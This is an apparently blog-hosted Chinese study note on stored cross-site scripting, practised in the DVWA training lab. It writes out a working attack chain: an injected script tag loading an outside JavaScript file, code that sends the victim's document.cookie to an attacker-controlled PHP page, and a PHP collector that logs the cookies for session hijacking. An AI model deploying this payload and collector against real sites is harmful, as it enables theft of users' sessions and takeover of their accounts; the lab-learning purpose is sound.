Web安全测试学习笔记 - 存储型XSS

别说谁变了你拦得住时间么 提交于 2019-12-06 11:42:17

XSS(Cross-Site Scripting)大致分为反射型和存储型两种,之前对XSS的认知仅停留在如果网站输入框没有屏蔽类似<script>alert('ok')</script>的代码,那么这个网站就有被XSS攻击的风险,到底有什么风险呢?又是怎么被攻击的呢?sorry,我也不知道>_<

 

我用DVWA来练习存储型XSS,目标是窃取用户账号(通过拿到对方的登录cookie)。我在本机再开一台虚拟机,用虚拟机(模拟另一个用户)访问:http://IP地址/dvwa/vulnerabilities/xss_s/。这个页面是不是很像留言或者评论页面~

 

security level = low

1.  在本机登录(模拟攻击方),输入时发现Name做了长度限制,而Message没有,所以攻击点在Message的输入框

     输入:<script src="http://172.24.107.155/test.js"></script>

     

     

     刷新一下当前页面,刚插入的记录仍然存在,说明恶意代码已经被“存储”在这个页面了~

2. 在本机的php服务下放入js代码文件和php文件。

   js文件用来在被攻击方采集cookie并传入php页面,php页面将cookie存入名为cookies的文件中。

   test.js文件内容:

var img = document.createElement("img")
img.src = "http://本机ip地址/test.php?cookies="+escape(document.cookie);
document.body.appendChild(img);

  test.php文件内容:

<?php
$cookie = $_GET["cookies"];error_log($cookie ."". "\n",3,"cookies");
?>

3. 在虚拟机登录(模拟被攻击方),访问刚才的页面:http://IP地址/dvwa/vulnerabilities/xss_s/,被攻击方也能看到刚才上传的那条记录(此时js代码已经被执行了..>_<..):

4. 获得登录凭证

    攻击方此时啥也不用再干,守株待兔,等着js吧cookie发送到本机后,到刚才放入test.js和test.php文件的地方,会发现多了一个名为cookies的文件~

    

     打开cookies文件,里面记录了被攻击方的登陆cookie:

    

    拿到对方的登录凭证之后,我们就能通过构造http请求(把对方的cookie传进去),以对方的身份操作网站,如果对方的是admin的话,Hmm......

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!